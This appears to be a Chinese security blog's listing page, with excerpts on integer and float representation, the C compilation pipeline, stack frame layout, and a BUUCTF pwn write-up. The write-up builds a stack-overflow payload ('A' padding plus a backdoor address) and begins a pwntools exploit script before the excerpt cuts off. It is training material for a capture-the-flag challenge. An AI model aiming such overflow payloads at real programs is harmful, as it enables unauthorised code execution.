数据表示
整数和浮点数 字节顺序 小端序 高位字节在高地址,低位字节在低地址。 大端序 高位字节在低地址,低位字节在高地址。 整数表示 权值 无符号整数 有符号整数 补码 反码 原码 整数强制转换漏洞 浮点数表示 单精度浮点数 双精度浮点数
计算机系统漫游
计算机系统基本概念 文件 文件就是字节序列,仅此而已。 只由 ASCII 字符构成的文件称为 文本文件 ,其它所有文件都称为 二进制文件 。 编译系统 预处理阶段 预处理器(cpp) 根据以字符 # 号开头的命令,修改原始的c程序。比如 hello.c 中的第一行 #include <stdio.h> 命令告诉预处理器读取系统头文件 stdio.h 的内容,并把它直接插入到程序文本中,结果得到了另一个 C 程序,通常是以 .i 为扩展名。在 Linux 下我们用 GCC 命令: 1gcc -E hello.c -o hello.i 编译阶段 编译器(ccl) 将文本文件 hello.i 翻译成文本文件 hello.s ,它包含一个汇编语言程序。汇编语言中每条语句都以一种标准的文本格式确切地描述了一条低级机器语言指令。 1gcc -S hello.i -o hello.s 汇编阶段 汇编器(as) 将 hello.s 翻译成机器语言指令,把这些指令打包成一种叫做可定位目标程序的格式,并将结果保存在目标文件 hello.o 中, hello.o 是一个二进制文件,它的...
BUUCTF-bjdctf_2020_babystack 题解
题目 题目链接 checksec IDA 很显然,由于 nbytes 可以被赋予一个较大的值,使得 buf 可以被溢出。 backdoor 思路 利用的栈溢出漏洞覆盖函数返回地址,使之返回到这个后门函数提权即可。 附一个图示: 根据 buf 的位置 [rbp-10h] 可构造 payload = b'A' * (16 + 8) + backdoor_addr 实现攻击,由于需要栈对齐,其中,backdoor_addr = 0x4006ea ,而不是 backdoor_addr = 0x4006e6 exp 1234567891011121314151617181920from pwn import *context.log_level = 'debug'context.arch = 'amd64'p = process('./bjdctf_2020_babystack')p.recvuntil(b'name:\n')payload = b'40'p.sendline(pay...
栈帧结构和栈溢出漏洞
栈帧 什么是栈帧 函数栈帧 (stack frame) 就是函数调用过程中程序的调用栈 (call stack) 所开辟的空间,这些空间是用来存放: 函数参数和函数返回值 临时变量(包括函数的非静态的局部变量以及编译器自动生产的其他临时变量) 保存上下文信息(包括在函数调用前后需要保持不变的寄存器) 栈帧结构 栈从高地址向低地址生长,而在 x86 架构下数据则以小端序写入:高位字节放高地址端,低位字节放低地址端,可以理解为从低地址向高地址生长。 所以,栈顶在低地址处,栈基在高地址处。 主调函数进行函数调用时,一般会在紧贴主调函数栈帧下方建立一个新的栈帧。 重要指针寄存器 栈指针: sp ,指向栈顶, push 指令会使 sp 下移, pop 指令会使 sp 上移。 帧指针: bp ,指向当前函数栈帧的基,指向的位置用于保存当前函数的主调函数的帧指针。 指令指针: ip ,是计算机处理器中用于存储下一条待执行指令内存地址的寄存器。 注意,栈指针与帧指针正常情况下均应指向某个单位内存的最低地址处。 32 位栈帧结构 64 位栈帧结构 64 位下,函数的前 6 个...